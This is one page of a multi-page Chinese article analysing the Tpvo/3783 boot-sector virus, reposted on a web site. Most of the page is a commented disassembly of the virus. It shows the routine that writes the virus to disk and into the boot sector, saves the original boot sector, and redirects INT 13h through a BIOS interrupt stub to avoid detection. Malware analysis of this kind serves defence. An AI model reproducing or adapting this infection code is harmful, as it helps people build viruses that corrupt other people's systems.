Tpvo/3783 病毒的分析和防治

• F6C8:01BA 5A　　　　　　POP　　 DX
  F6C8:01BB B80803　　　　MOV　　 AX,0308 ;写病毒到磁盘
  F6C8:01BE 33DB　　　　　XOR　　 BX,BX
  F6C8:01C0 E82DFF　　　　CALL　　00F0
  F6C8:01C3 7226　　　　　JB　　　01EB
  F6C8:01C5 B80103　　　　MOV　　 AX,0301 ;保存原引导区
  F6C8:01C8 BB7711　　　　MOV　　 BX,1177
  F6C8:01CB 80C108　　　　ADD　　 CL,08
  F6C8:01CE E81FFF　　　　CALL　　00F0
  F6C8:01D1 7218　　　　　JB　　　01EB
  F6C8:01D3 C707EB3C　　　MOV　　 WORD PTR [BX],3CEB
  F6C8:01D7 BEA700　　　　MOV　　 SI,00A7
  F6C8:01DA 8D7F3E　　　　LEA　　 DI,[BX+3E]
  F6C8:01DD B91C00　　　　MOV　　 CX,001C
  F6C8:01E0 F3　　　　　　REPZ
  F6C8:01E1 A4　　　　　　MOVSB　
  F6C8:01E2 B80103　　　　MOV　　 AX,0301
  F6C8:01E5 B90100　　　　MOV　　 CX,0001
  F6C8:01E8 E805FF　　　　CALL　　00F0 ;写病毒到引导区
  F6C8:01EB EB9F　　　　　JMP　　 018C ;返回调用处
  ;========================================================================
  ;随机生成一个 INT 13H 地址
  ;调用: 00C3 0369
  ;有二种方式 1. 在 BIOS 中找一个 > 80号的 INT XX 代码
  ; 将 INT XX 指向原 INT 13, 再将 INT 13 指向 BIOS 中 INT XX 代码
  ; 　　2. 在 0000:04FB 中写下 JMP 原 INT 13
  ; 再将 INT 13 指向 0000:04FB
  F6C8:01ED 33F6　　　　　XOR　　 SI,SI
  F6C8:01EF B800F0　　　　MOV　　 AX,F000
  F6C8:01F2 8ED8　　　　　MOV　　 DS,AX
  F6C8:01F4 8EC0　　　　　MOV　　 ES,AX
  F6C8:01F6 4E　　　　　　DEC　　 SI
  F6C8:01F7 741F　　　　　JZ　　　0218
  F6C8:01F9 803CCD　　　　CMP　　 BYTE PTR [SI],CD
  F6C8:01FC 75F8　　　　　JNZ　　 01F6 ;找一个 INT 代码
  F6C8:01FE 3A4401　　　　CMP　　 AL,[SI+01]
  F6C8:0201 73F3　　　　　JNB　　 01F6
  F6C8:0203 807C01E0　　　CMP　　 BYTE PTR [SI+01],E0
  F6C8:0207 73ED　　　　　JNB　　 01F6 ;小于 INT E0 继续找
  F6C8:0209 864401　　　　XCHG　　AL,[SI+01]
  F6C8:020C 864401　　　　XCHG　　AL,[SI+01]
  F6C8:020F 3A4401　　　　CMP　　 AL,[SI+01] ;保存 INT 号于 AL 中
  F6C8:0212 75E2　　　　　JNZ　　 01F6 ;不在 BIOS 中继续找
  F6C8:0214 8BDE　　　　　MOV　　 BX,SI ;保存地址于 BX 中
  F6C8:0216 EBDE　　　　　JMP　　 01F6
  F6C8:0218 8EDE　　　　　MOV　　 DS,SI
  
• 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] 下一页 
• 复制本页网址和标题，发送给你QQ/Msn的好友一起分享
  
  
• Tpvo/3783 病毒的分析和防治 相关文章：
• ·系统漏洞的形成和防治办法
• ·减治法：C#实现插入排序实例
• ·网络工程师讲解系统安全漏洞的形成和防治
• ·李治国：急躁公司做不了分类信息
• ·网络工程师教您防治常见网络攻击
• ·通过Rational的工具来实现SOA治理
• ·利用Mcafee根治Viking 威金病毒
• ·理清SOA治理中的架构师角色
• ·VeryCD:迅雷增强共享机制说治标不治本
• ·巧妙设置系统 轻松防治邮件病毒
• Tpvo/3783 病毒的分析和防治 相关软件
• ·《资治通鉴》注释版（全五册）
• ·贞观之治
• ·本殖民统治台湾五十年史
• ·《常见皮肤性病诊断与治疗》
• ·福赛斯经典政治惊险小说《豺狼的日子》
• ·《威权统治下的中国现状与前景》
• ·新疆好地方－庆祝新疆自治区50周年摄影集
• ·统治世界2
• ·曾胡治兵语录
• ·佐治药言

上一篇:UNIX系统上实现拨号

下一篇:网络资源的列举

• 特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作
• 者.文章版权归文章原始作者所有.对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转
• 载的文章有版权问题请联系编辑人员,我们尽快予以更正. 转载请注明来源：http://www.hackhome.com

精品推荐

热点TOP10

特别推荐